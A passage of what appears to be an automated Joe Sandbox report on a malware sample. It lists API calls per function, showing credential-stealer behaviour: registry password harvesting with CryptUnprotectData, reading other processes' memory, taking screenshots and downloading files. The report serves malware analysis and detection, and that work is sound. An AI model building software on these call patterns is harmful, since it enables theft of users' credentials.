lstrlenA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A0C0
lstrcpy.KERNEL32(00000000,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0040A0EA
lstrlenA.KERNEL32(00435220), ref: 0040A0F5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A112
lstrcatA.KERNEL32(00000000,00435220), ref: 0040A11E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A144
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A14F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A174
SetEnvironmentVariableA.KERNEL32(00809798,00000000), ref: 0040A18F
LoadLibraryA.KERNEL32(008065D0), ref: 0040A1A3

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A080, 0040A0BB, 0040A0E4

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 0fa15d5099ba82261550ebe60b2eb265eee5f3d415fe773f243366e626c7603d
Instruction ID: 4f22f08d4e0545a594e2b9f0a497e493c6f70fde8526a22c2508c1e13ecd35c2
Opcode Fuzzy Hash: 0fa15d5099ba82261550ebe60b2eb265eee5f3d415fe773f243366e626c7603d
Instruction Fuzzy Hash: D091B231A00B009FC7209FA4DC44AA736A6EB44709F40517AF805AB3E1EBBDDD918BD6

Function 00422380 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 229stringCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,00000000), ref: 00422391
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004223CC
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 004223DD
memset.MSVCRT ref: 00422405
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 0042245C
lstrlenA.KERNEL32(00000000), ref: 00422469
lstrcpy.KERNEL32(00000000,00000000), ref: 004224F0
lstrlenA.KERNEL32(00000000), ref: 004224F7
strlen.MSVCRT ref: 0042251B
memset.MSVCRT ref: 004225A5
??_V@YAXPAX@Z.MSVCRT(a&B), ref: 004225F2

Strings

JA, xrefs: 004225AD, 004225BE
a&B, xrefs: 004225AA, 004225EE, 004225BD, 004225F1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Processlstrcpylstrlenmemset$MemoryOpenReadstrlen
String ID: JA$a&B
API String ID: 311138045-3757497863
Opcode ID: 9ee99ffbae4db7b918857ba0b51b314a4d5a4760aee04268540864f8edbc2384
Instruction ID: a6e43924ba8936ebe9a9b40f240c70624e131435a7636745cc2c0f0fc2e35c15
Opcode Fuzzy Hash: 9ee99ffbae4db7b918857ba0b51b314a4d5a4760aee04268540864f8edbc2384
Instruction Fuzzy Hash: 5481C171F00215ABDB14DF94ED447AEB7B5BF84304F54806EE904A7381EBB99A42CF98

Function 00407710 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202stringregistrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00407745
RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0040778A
strlen.MSVCRT ref: 004077BE
StrStrA.SHLWAPI(?,Password), ref: 004077F8
strlen.MSVCRT ref: 0040788D

Part of subcall function 00407690: GetProcessHeap.KERNEL32(00000008,00000400), ref: 0040769E
Part of subcall function 00407690: HeapAlloc.KERNEL32(00000000), ref: 004076A5
Part of subcall function 00407690: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004076CD
Part of subcall function 00407690: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000400,00000000,00000000), ref: 004076ED
Part of subcall function 00407690: LocalFree.KERNEL32(?), ref: 004076F7

strcpy_s.MSVCRT ref: 00407821
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040782C
HeapFree.KERNEL32(00000000), ref: 00407833
strlen.MSVCRT ref: 00407840
strcpy_s.MSVCRT ref: 0040786A
strlen.MSVCRT ref: 004078B4
RegEnumValueA.ADVAPI32(80000001,00000000,?,000000FF,00000000,00000003,?,?,80000001), ref: 00407975

Strings

Password, xrefs: 004077EC

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heapstrlen$EnumFreeProcessValuestrcpy_s$AllocByteCharCryptDataLocalMultiOpenUnprotectWide
String ID: Password
API String ID: 3893107980-3434357891
Opcode ID: 8617390d53ac57b3bc460eacddfbadb4edd16ac5aa52243ed0c6f06a3f8df8d6
Instruction ID: d89e4ef37d9ef8aa311bf0e9c4190dd4afc91f0d17879f6472bf44294465a63b
Opcode Fuzzy Hash: 8617390d53ac57b3bc460eacddfbadb4edd16ac5aa52243ed0c6f06a3f8df8d6
Instruction Fuzzy Hash: 6B810EB1D00219AFDB10DF95DC84ADEB7B9EF48300F10816AE505F7250EB75AA45CFA5

Function 0040BCE9 Relevance: 18.2, APIs: 12, Instructions: 249stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040BD0F
lstrlenA.KERNEL32(00000000), ref: 0040BD42
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BD6C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BD74
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BD9C
lstrlenA.KERNEL32(004350AC), ref: 0040BE13

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 669bbb431783e3f238223d270c9b1ff6b44c92912cb8d20e8521af343ce004a5
Instruction ID: 5fb3a9461e9d5be341f0b1bf1fea37263fb2b5441c487b9ac005d30c821d9249
Opcode Fuzzy Hash: 669bbb431783e3f238223d270c9b1ff6b44c92912cb8d20e8521af343ce004a5
Instruction Fuzzy Hash: ECA13C71A012058FCB14EF29C949A9BB7B1EF44308F14847AE805AB3E1DB79DC42CBD8

Function 004241C0 Relevance: 16.7, APIs: 11, Instructions: 178COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00424264
GetDesktopWindow.USER32 ref: 0042426E
GetWindowRect.USER32(00000000,?), ref: 0042427C
SelectObject.GDI32(00000000,00000000), ref: 004242B3
GetHGlobalFromStream.COMBASE(?,?), ref: 00424335
GlobalLock.KERNEL32(?), ref: 00424340
GlobalSize.KERNEL32(?), ref: 0042434F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Global$StreamWindow$CreateDesktopFromLockObjectRectSelectSize
String ID:
API String ID: 1264946473-0
Opcode ID: 5da8522ca0a29f44c524f88a5fd7d52bb1a01f7f61847d72deffea10af66d9eb
Instruction ID: 75503c3a34457d272d95a678dd3c0ed7353c39f8ccbcebb61a027cd09c042413
Opcode Fuzzy Hash: 5da8522ca0a29f44c524f88a5fd7d52bb1a01f7f61847d72deffea10af66d9eb
Instruction Fuzzy Hash: 27512BB1214300AFD310EF65DD89AABB7B9EF88744F00492EF945932A0DB74D9058FA6

Function 0041E0C0 Relevance: 16.7, APIs: 11, Instructions: 175stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00810EE8), ref: 0041E12D
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041E157
lstrcpy.KERNEL32(00000000,?), ref: 0041E18F
lstrcatA.KERNEL32(?,00000000), ref: 0041E19D
lstrcatA.KERNEL32(?,?), ref: 0041E1B8
lstrcatA.KERNEL32(?,?), ref: 0041E1CC
lstrcatA.KERNEL32(?,0080BBE8), ref: 0041E1E0
lstrcatA.KERNEL32(?,?), ref: 0041E1F4
lstrcatA.KERNEL32(?,00811098), ref: 0041E207
lstrcpy.KERNEL32(00000000,?), ref: 0041E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E246

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFileFolderPath
String ID:
API String ID: 4230089145-0
Opcode ID: 97d142198ba0bc47337bc6147cd025af58f4b8a2a6737401ea09c7ca8c767e7b
Instruction ID: 2b77767ea594a545f13c44c63ac41c886223ff383814143d96f30c2e437bc5c2
Opcode Fuzzy Hash: 97d142198ba0bc47337bc6147cd025af58f4b8a2a6737401ea09c7ca8c767e7b
Instruction Fuzzy Hash: BE61A4B5D1011CEBCB14DB64CD48ADE77B9AF88300F1045AAB949A3391DB78AF858F94

Function 00406A10 Relevance: 16.6, APIs: 11, Instructions: 127networkfilestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406A3F
InternetOpenA.WININET(0042D01C,00000001,00000000,00000000,00000000), ref: 00406A6C
StrCmpCA.SHLWAPI(?,008125C8), ref: 00406A8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,-00800100,00000000), ref: 00406AAA
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406AC8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406AE1
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00406B06
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00406B30
CloseHandle.KERNEL32(00000000), ref: 00406B50
InternetCloseHandle.WININET(00000000), ref: 00406B57
InternetCloseHandle.WININET(?), ref: 00406B61

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritelstrcpy
String ID:
API String ID: 2500263513-0
Opcode ID: c4d296e596c64fca4f218c7942d10fe76fedfb5b0596c491fad0686a5a4c48f1
Instruction ID: 214ef142a420c546876de0997919582a0985ebf66699d200bad1b39cea3fe35b
Opcode Fuzzy Hash: c4d296e596c64fca4f218c7942d10fe76fedfb5b0596c491fad0686a5a4c48f1
Instruction Fuzzy Hash: D2417EB1B00215ABDB20DF64DC49FAE77B9AB44704F104569FA05F72C0DBB4AA418BA8

Function 004119B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 004119B9
lstrcpy.KERNEL32(00000000,?), ref: 004119E2
lstrcpy.KERNEL32(00000000,?), ref: 00411A0B
lstrcpy.KERNEL32(00000000,?), ref: 00411B24
lstrcpy.KERNEL32(00000000,?), ref: 00411B58
lstrcpy.KERNEL32(00000000,?), ref: 00411B93

Strings

P2#v, xrefs: 00411BBB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: P2#v
API String ID: 3722407311-3395895848
Opcode ID: bc072e98895f9a6b3543b50c70e65be01105f053d709988d7beb54976ae4da08
Instruction ID: eb269681d11669962536bad1799f6e1983d3975f73ef46dd9c9872d04bc6244a
Opcode Fuzzy Hash: bc072e98895f9a6b3543b50c70e65be01105f053d709988d7beb54976ae4da08
Instruction Fuzzy Hash: 2A5191707002058BCB24EF39D98AAAF77E4AF44304F04453EF995E72A1EB78EC458B95

Function 00411906 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 0041190F
lstrcpy.KERNEL32(00000000,?), ref: 00411938
lstrcpy.KERNEL32(00000000,?), ref: 0041196C
lstrcpy.KERNEL32(00000000,?), ref: 00411B24
lstrcpy.KERNEL32(00000000,?), ref: 00411B58
lstrcpy.KERNEL32(00000000,?), ref: 00411B93
FindNextFileA.KERNELBASE(00000000,?), ref: 00411BBB

Strings

P2#v, xrefs: 00411BBB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindNext
String ID: P2#v
API String ID: 2017289724-3395895848
Opcode ID: 041db1d7d177415e76d5aa4be76d7de7b6a5223d2431a08f3526dd2dfccb7f88
Instruction ID: e3d7046cafea95f761566916d3cfbf1c1662178536a70f288ced28ff1f01b891
Opcode Fuzzy Hash: 041db1d7d177415e76d5aa4be76d7de7b6a5223d2431a08f3526dd2dfccb7f88
Instruction Fuzzy Hash: C7518E706103058BDB24EF39D98AAAB77E4AF44304F04453EF995972A1EA78EC818B95

Function 004079A0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 109stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407710: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00407745
Part of subcall function 00407710: RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0040778A
Part of subcall function 00407710: strlen.MSVCRT ref: 004077BE
Part of subcall function 00407710: StrStrA.SHLWAPI(?,Password), ref: 004077F8
Part of subcall function 00407710: strcpy_s.MSVCRT ref: 00407821
Part of subcall function 00407710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040782C
Part of subcall function 00407710: HeapFree.KERNEL32(00000000), ref: 00407833
Part of subcall function 00407710: strlen.MSVCRT ref: 00407840

lstrcatA.KERNEL32(0F440020,004350AC), ref: 004079D0
lstrcatA.KERNEL32(0F440020,?), ref: 004079FD
lstrcatA.KERNEL32(0F440020, : ), ref: 00407A0F
lstrcatA.KERNEL32(0F440020,?), ref: 00407A30
wsprintfA.USER32 ref: 00407A50
lstrcpy.KERNEL32(00000000,?), ref: 00407A79
lstrcatA.KERNEL32(0F440020,00000000), ref: 00407A87
lstrcatA.KERNEL32(0F440020,004350AC), ref: 00407AA0

Strings

: , xrefs: 00407A09

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$Heapstrlen$EnumFreeOpenProcessValuelstrcpystrcpy_swsprintf
String ID: :
API String ID: 2460923012-3653984579
Opcode ID: 99d6d2c700893aed1bd6f9388aa390f63d8542243c4cea119d55d699a7ef5f27
Instruction ID: cae0af3961a799b925bbf0e7aa8b71ddc31445fb09873f415353cb2bdfd284b0
Opcode Fuzzy Hash: 99d6d2c700893aed1bd6f9388aa390f63d8542243c4cea119d55d699a7ef5f27
Instruction Fuzzy Hash: 8331A672E04214AFCB14DB68DC449AFB77ABB84310B14552AF606A3350DB78B941CFE5

Function 0040E4EF Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0040E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0040E944
lstrcpy.KERNEL32(00000000,?), ref: 0040E96A
lstrcpy.KERNEL32(00000000,?), ref: 0040E9A2
FindNextFileA.KERNEL32(00000000,?), ref: 0040E9D8
FindClose.KERNEL32(00000000), ref: 0040E9E7

Strings

P2#v, xrefs: 0040E9D8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID: P2#v
API String ID: 1875835556-3395895848
Opcode ID: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction ID: 95ec4b8ea0fefc1f34e897cc5c49f76dfaf10f62fa02dba13b5cf7af0b083dcc
Opcode Fuzzy Hash: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction Fuzzy Hash: 0802EA71A012018FDB28CF1AC584B66B7E1AF44714B19C5BED809AB3E1D77AEC52CF94

Function 0040E574 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0040E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0040E944
lstrcpy.KERNEL32(00000000,?), ref: 0040E96A
lstrcpy.KERNEL32(00000000,?), ref: 0040E9A2
FindNextFileA.KERNEL32(00000000,?), ref: 0040E9D8
FindClose.KERNEL32(00000000), ref: 0040E9E7

Strings

P2#v, xrefs: 0040E9D8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID: P2#v
API String ID: 1875835556-3395895848
Opcode ID: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction ID: 95ec4b8ea0fefc1f34e897cc5c49f76dfaf10f62fa02dba13b5cf7af0b083dcc
Opcode Fuzzy Hash: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction Fuzzy Hash: 0802EA71A012018FDB28CF1AC584B66B7E1AF44714B19C5BED809AB3E1D77AEC52CF94

Function 0040E595 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 442stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0040E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0040E944
lstrcpy.KERNEL32(00000000,?), ref: 0040E96A
lstrcpy.KERNEL32(00000000,?), ref: 0040E9A2
FindNextFileA.KERNEL32(00000000,?), ref: 0040E9D8
FindClose.KERNEL32(00000000), ref: 0040E9E7

Strings

P2#v, xrefs: 0040E9D8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID: P2#v
API String ID: 1875835556-3395895848
Opcode ID: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction ID: 95ec4b8ea0fefc1f34e897cc5c49f76dfaf10f62fa02dba13b5cf7af0b083dcc
Opcode Fuzzy Hash: 87a724c5c28fed6d85d74b36d52f46fff543db251f177d9ca7a6acd5eb51dd4f
Instruction Fuzzy Hash: 0802EA71A012018FDB28CF1AC584B66B7E1AF44714B19C5BED809AB3E1D77AEC52CF94

Function 0041E169 Relevance: 13.6, APIs: 9, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041E18F
lstrcatA.KERNEL32(?,00000000), ref: 0041E19D
lstrcatA.KERNEL32(?,?), ref: 0041E1B8
lstrcatA.KERNEL32(?,?), ref: 0041E1CC
lstrcatA.KERNEL32(?,0080BBE8), ref: 0041E1E0
lstrcatA.KERNEL32(?,?), ref: 0041E1F4
lstrcatA.KERNEL32(?,00811098), ref: 0041E207
